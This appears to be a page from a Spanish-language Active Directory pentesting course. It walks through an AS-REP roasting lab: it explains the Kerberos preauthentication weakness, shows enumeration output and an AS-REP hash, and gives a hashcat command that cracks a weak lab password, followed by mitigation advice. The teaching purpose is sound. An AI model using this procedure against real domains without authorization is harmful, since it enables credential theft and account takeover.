Hacking en Active Directory - [CPAD-100]
Comprar cursoYouTubeTwitterLinkedIn
  • La Biblia del Hacking en ACTIVE DIRECTORY
    • ADVERTENCIA
    • Conoce a tu academia
    • Conoce a tu instructor
    • Aprende con nuestro curso
      • ¿Que Significa CPAD-100?
  • Introducción a Directorio Activo – (AD)
    • Fundamentos de AD
    • Componentes importantes de un Active Directory
    • Principales conceptos de un Directorio Activo
      • Diferencias entre GPO y ACL
    • ¿Por qué los atacantes van tras los controladores de dominio?
      • Ransomware en AD
    • Introduccion a Kerberos
      • Capa de transporte
      • Agentes
      • Claves de cifrado
      • Tickets
      • Privilege Attribute Certificate (PAC)
      • Mensajes
    • Proceso de autenticación en Kerberos
      • Kerberos Explicado con Parques y Atracciones
    • ¿Como funciona Kerberos?
    • S4U (Service for User)
    • Usuarios y grupo por defectos en AD
    • Biblia de comandos para el CPAD
  • Fundamentos Ofensivos
    • Introduccion al Curso Profesional de Pentesting para Juniors - [CPPJ]
    • ¿Qué es un Red Team?
      • Assume breach
    • ¿Qué es un Pentesting?
    • Instalacion de Kali Linux
      • Utilizando IP publica para auditorias reales
    • Transferencias de archivos
    • Cyber Kill Chain
    • MITRE
      • Ejemplo teorico
  • Enumeracion Externa
    • Credenciales expuestas
    • La importancia de la enumeracion en un red team
    • Reconocimiento y Recopilacion
    • Activos de informacion publicos
      • DNS records
      • Redes sociales
  • Vectores de ataque fisico
    • Physical Red Team Operations
    • Que es la intrusion fisica
      • Vectores de ataque
    • Rubber Ducky
    • Stuxnet
    • Introduccion a Flipper Zero
      • BadUSB
  • Introduccion Al Hacking Web
    • Tu primer Red Team contra Active Directory
      • Objetivos
      • CyberKillChain en CPAD
    • La importancia del hacking web en un red team contra AD
    • Curso gratuito con los labs de PortSwigger
    • Enumeracion sobre un servidor web desplegado en IIS
    • Inyeccion de comandos desde un formulario web
  • Post-explotacion en windows
    • Fundamentos de la Enumeracion local en un Windows
    • Enumeracion basica desde una WebShell
    • Fundamentos de escalacion de privilegios en Windows
      • ¿Que son altos privilegios en windows?
      • ¿Que son bajos privilegios en windows?
      • Identificando mis privilegios actuales
      • Tokens de acceso en Windows
      • Niveles de integridad en procesos de Windows
    • Privilegios en Windows
    • Abusando de los privilegios SeImpersonatePrivilege SeAssignPrimaryTokenPrivilege
    • Introduccion al Curso Profesional de Pentesting contra Windows - [CPPW]
    • NT AUTHORITY\SYSTEM
    • Reverse Shell en PowerShell Indetectable
      • Introduccion al Curso RedTeam Ops Developer Senior
    • Migracion de WebShell a BurpSuite
    • Migracion de WebShell a Reverse Shell via PowerShell
    • Diferencia entre una WebShell y Reverse Shell
    • Introducción a PowerUp
    • Introducción a WinPEAS
  • Persistencia en Windows Local
    • Introduccion a la post-explotación y persistencia en Windows
    • Creacion de usuarios con net
    • Qué es Mimikatz
      • LSASS
      • Extraccion de credenciales con Mimikatz con binario
      • Extraccion de credenciales con Mimikatz con PowerShell
      • Resolucion de errores con Mimikatz
      • Mimikatz en la actualidad
  • Enumeracion en AD
    • Identificando un Domain Controller (DC) en red
    • ActiveDirectoryRights en el Contexto de Red Team
    • Enumeracion manual con GUI
    • Enumeracion con PowerShell ofensivo
      • Guia de comandos de PowerView.ps1
        • Enumeracion de usuarios
        • Enumeracion de Grupos
        • Enumeracion de Computadores
        • Enumeracion de GPO
        • Enumeracion de ACL
      • Utilizando ADPeas
    • Enumeracion con AD Module DLL
    • Enumeracion con BloodHound
    • Enumeracion con klist
    • Security Identifiers (SIDs)
    • Distinguished Name o DN
  • Vulnerabilidades y ataques en AD
    • Fundamentos de vulnerabilidades en AD
    • Password Spraying
      • La importancia de generar contraseñas personalizadas
      • Kerbrute
    • Relay Attacks
      • ¿Que es NTLM?
      • Utilizando impacket-ntlmrelayx
        • Análisis de impacket-ntlmrelayx
    • Credenciales en descripcion
      • Utilizando CrackMapExec
      • Utilizando BloodHound
    • Kerberoasting
      • Utilizando BloodHound
      • Utilizando Rubeus
      • Utilizando Impacket-GetUserSPNs
      • Utilizando CrackMapExec
      • Utilizando PowerView
    • ASREProastable
      • Utilizando Rubeus
      • Utilizando CrackMapExec
      • Utilizando Impacket-GetNPUsers
      • CVE-2022-33679
    • Unconstrained Delegation
      • TrustedToAuthForDelegation vs TrustedForDelegation
    • Constrained Delegation
      • Usuario
      • Computadora
        • Utilizando Rubeus
    • DnsAdmins
      • Utilizando PowerView.ps1
      • Utilizando NET
      • Cargando una dll maliciosa con dnscmd
      • Generando una DLL maliciosa
    • LAPS Reader
    • (RBCD) Resource-based constrained
    • Abuso de ACL
      • Enumeracion con PowerView
      • Tipos de permisos
        • Tabla de Referencia de Permisos y Derechos en Active Directory
      • Access Control Entry (ACE)
      • WriteDacl sobre Computador
      • GenericAll sobre Grupo
      • GenericAll sobre usuario
      • GenericWrite sobre computador
    • Abuso de GPO
      • ¿Qué es SysVol?
      • Utilizando PowerView
      • Solicitando TGT para el usuario gpowrite.user
      • Utilizando SharpGPOAbuse
      • Forzando la actualizacion de GPO
    • Zerologon - CVE-2020-1472
  • Movimiento lateral
    • Fundamentos de movimiento lateral en AD
    • Impersonation
    • Pass-the-Hash (PtH)
      • Identificando servicios para realizar el PTH
      • Utilizando Evil-WinRm
      • Utilizando impacket-psexec
      • Utilizando RDP
  • Persistencia y post-explotacion en AD
    • Fundamentos de persistencia y la post-explotación en AD
    • DCSync
      • Extracción de Credenciales del Dominio de Active Directory
      • Utilizando CrackMapExec
      • Utilizando Mimikatz
      • Utilizando Impacket-secretsdump
    • Creacion de usuarios en el dominio con net
    • Silver Ticket
      • Service Principal Name (SPN)
      • Silver Ticket para CIFS
    • Golden Ticket
      • Diferencias entre Silver Ticket y Golden Ticket
      • ¿Que es KRBTGT?
      • Variantes del Golden Ticket
        • Golden Ticket tradicional utilizando Mimikatz
        • Golden Ticket Inter-realm TGT
    • Pass The Ticket
      • PTT en Linux
      • PTT en Windows
    • Diamond Ticket
    • Bosques y relaciones de confianza
      • TrustAttributes y TrustType
      • Enumeracion utilizando ADPeas.ps1
      • Enumeracion utilizando nltest
      • Enumeracion utilizando .NET Framework
      • Enumeracion utilizando con PowerView
      • Enumerando con SharpHound
  • Introduccion a la evasion de defensas
    • Fundamentos de evasión de defensas
    • Introduccion a UAC
      • Bypass UAC utilizando FodhelperUACBypass.ps1
      • Bypass utilizando Kerberos y SMBExec
    • Evasión de antivirus
      • Utilizando HoaxShell
    • Introduccion a LOLBAS
    • AMSI para Hackers
    • Utilizando IP publicas y dominios confiables para el almacenamiento de herramientas
    • Codificando tus comandos de PowerShell en base64
      • Transferencia de archivos con base64
    • Política de ejecución de PowerShell
    • Introduccion a Sysinternals
    • Introduccion a AppLocker
    • Apagando defensas basicas
  • Introduccion a ataques modernos en AD
    • Fundamentos de Azure Active Directory
    • DCSync utilizando MSOL
    • Introduccion al Curso de Pentesting Contra Azure - [CPAZ]
  • Introduccion al Blue Team en Active Directory
    • Blue Team y SOC
    • Introduccion al Curso Profesional de Blue Team - [CPBLT]
    • Introduccion a Sysmon
      • Deteccion de comportamiento anomalo con ElasticSearch
  • Muchas Gracias
    • 🛡️ ¡Muchísimas Gracias por Participar! 🛡️
    • Importante
Con tecnología de GitBook
En esta página
  • ¿Por qué es una vulnerabilidad?
  • ¿Cómo funciona el ataque?
  • ¿Qué podría lograr un atacante?
  • Mitigación:

¿Te fue útil?

  1. Vulnerabilidades y ataques en AD

ASREProastable

AnteriorUtilizando PowerViewSiguienteUtilizando Rubeus

Última actualización hace 9 meses

¿Te fue útil?

Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: . ¡Te esperamos para empezar este viaje juntos!

OBJETIVO DEL EJERCICIO #17:

Teniendo una autenticacion sobre cualquier usuario comprometer al usuario: asrep.user Este ejercicio deberia ser realizado desde el servidor de USER-SERVER. Para realizarlo es suficiente tener encendido UNICAMENTE WEBSERVER y First-DC.

"KRB_AS_REP Roasting" es un método de ataque que los actores malintencionados pueden utilizar para comprometer cuentas de usuario en un entorno que utiliza Kerberos para la autenticación, típicamente un dominio de Active Directory (AD) en Windows. Este ataque se dirige específicamente a cuentas que tienen la propiedad "Do not require Kerberos preauthentication" configurada. Veamos en detalle qué significa esto, cómo funciona el ataque, qué podría lograr un atacante y cómo se puede mitigar.

¿Por qué es una vulnerabilidad?

  1. Preautenticación de Kerberos: Normalmente, Kerberos requiere que un usuario proporcione no solo su nombre de usuario sino también su contraseña para obtener un ticket TGT (Ticket Granting Ticket) durante el proceso de autenticación inicial (AS-REQ). Esta es una medida de seguridad diseñada para prevenir ataques de tipo "offline" en los que se intenta adivinar las contraseñas.

  2. Cuentas sin Preautenticación: Sin embargo, en algunos casos, esta propiedad puede estar deshabilitada para ciertas cuentas debido a necesidades de compatibilidad o configuraciones erróneas. Esto significa que el KDC (Key Distribution Center) enviará la respuesta (AS-REP) que contiene el TGT cifrado sin requerir una prueba válida de conocimiento de la contraseña del usuario.

¿Cómo funciona el ataque?

  1. Enumeración de Usuarios: Un atacante primero enumerará las cuentas de usuario que tienen deshabilitada la preautenticación de Kerberos.

  2. Solicitud de TGT: Luego, el atacante puede enviar una solicitud AS-REQ para esas cuentas y el KDC responderá con un AS-REP que contiene el TGT cifrado usando la contraseña del usuario.

  3. Ataque Offline: A diferencia de un ataque de fuerza bruta online, el atacante puede ahora intentar descifrar el TGT offline, utilizando herramientas de cracking de contraseñas para adivinar la contraseña sin alertar al sistema o bloquear la cuenta de usuario.

¿Qué podría lograr un atacante?

  1. Acceso no Autorizado: Si el atacante descifra con éxito la contraseña, puede autenticarse como el usuario comprometido y acceder a los recursos, realizar movimientos laterales, elevar privilegios, exfiltrar datos, etc.

  2. Persistencia: Los actores malintencionados pueden crear cuentas adicionales o configurar otros métodos de acceso para mantener la persistencia en la red comprometida.

  3. Elevación de Privilegios: Si la cuenta comprometida tiene privilegios elevados, el atacante puede tomar el control total del dominio de Active Directory.

[?] +++++ Searching for ASREProastable User +++++
[!] Found ASREProastable User 'asrep.user':
sAMAccountName:                         asrep.user
distinguishedName:                      CN=asrep.user,CN=Users,DC=spartancybersec,DC=corp
objectSid:                              S-1-5-21-1861162130-2580302541-221646211-1128
pwdLastSet:                             09/29/2023 02:03:36
lastLogonTimestamp:                     09/29/2023 02:03:36
[+] userAccountControl:                 NORMAL_ACCOUNT, DONT_REQ_PREAUTH

Hashcat usage: Hashcat -m 18200
$krb5asrep$23$asrep.user@spartancybersec.corp:8995909962b0fd21a925ca8bfbf9c894$61322316eedd52d638ad1dabb7b011559f0dffb36de32b252d24291eb6a9fbe1a237acc2143a8e6f70bb65c3075caf28d22b92b491a87a8bc48d28233c1abc56b07239533fa9571c7c89e599e53a7551b03d8c702cf3759c19f75ea0f24c5cedd669fd57b6422c4b73ea95161b754f408306c479d7844c0a6bc2a9a15249b42ad8acf83f5afcd4d9b892835150a9bd49d377c6d548f9405139492a8bcf7ea740a31b986604cf05f1eb5f16c2d1cb826fd05417ab1550b3d2ce9ae2fce985b6349f62f788418a44c0e058107c4d5433dba37b0038c5b3f61b11bc0e671c2b77e6522cafca0cde6b8730a4808e803de91a78c34adb774100fa1761512e

Para crackear este hash podemos utilizar el siguiente comando:

El resultado de un ataque de fuerza bruta siempre estara condicionado a tener un buen diccionario. Es recomendable generar diccionarios personalizados con patrones comunes como por ejemplo: Sp@rt@n2023

Primero almacenamos todo el hash en un archivo "hash-kerberoasting" y luego ejecutamos hashcat:

kali@kali=> hashcat -m 18200 output.txt /usr/share/wordlists/rockyou.txt

$krb5asrep$23$asrep.user@SPARTANCYBERSEC.CORP:2796da33cca042ae44286003c8321865$3140b07f9670a05a3307cbd1a2af15df4d197d6ee9fb42ab114a15f561a7ed7c96247b590dfa330ab9b796b9ef71e328f1d2f3f39d6059c9a04c38ebb0d08da9d00447a057ed458015b9812b7bf715cce15a62eda76b407b552f6ef6c2ee8940c0c4856dddecb7c0f6259d934864b10869d467197e7c4ae14baec82c527ebf67ab3a56f6e85318df1982ef3e2058ccab7c5b7848860e9a30ececc77e62ae4acc4605d109b3292765dd3136f227e31313b4f7feb511dec64cb62d2bcea183fa79fbd25b3705b6373f72e3cc06e9cccaf06c0128dc824a805555ee478a2284c0edeb8682004ee8ecced9d05b6b2c400bdd4728179bdbcf97dd46be560a:Password@1
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$asrep.user@SPARTANCYBERSEC.CORP:2796d...be560a
Time.Started.....: Sun Oct 22 11:38:16 2023 (4 secs)
Time.Estimated...: Sun Oct 22 11:38:20 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   621.9 kH/s (0.38ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 2103296/14344385 (14.66%)
Rejected.........: 0/2103296 (0.00%)
Restore.Point....: 2103040/14344385 (14.66%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: PeeKaBoo!NYY -> Passp0rt
Hardware.Mon.#1..: Util:100%

La contraseña para este caso era debil y es: Password@1

Mitigación:

  1. Revisar Configuraciones de Cuenta: Regularmente revise las cuentas en el dominio de AD para asegurarse de que la preautenticación de Kerberos esté habilitada a menos que sea absolutamente necesario.

  2. Uso de Contraseñas Fuertes: Implemente políticas que requieran contraseñas largas y complejas que sean difíciles de adivinar incluso con herramientas de cracking de contraseñas.

  3. Monitoreo y Alertas: Establezca sistemas de monitoreo y alerta para detectar comportamientos anómalos o sospechosos relacionados con la autenticación de Kerberos y las consultas de directorio.

  4. Educación y Conciencia: Eduque a los administradores de sistemas y redes sobre la importancia de la configuración de seguridad correcta de las cuentas y cómo ciertas configuraciones pueden dejar abierta la puerta a ataques.

Esta vulnerabilidad fue previamente detectada con :

el resultado de ADPeas
https://wa.link/ej3kiu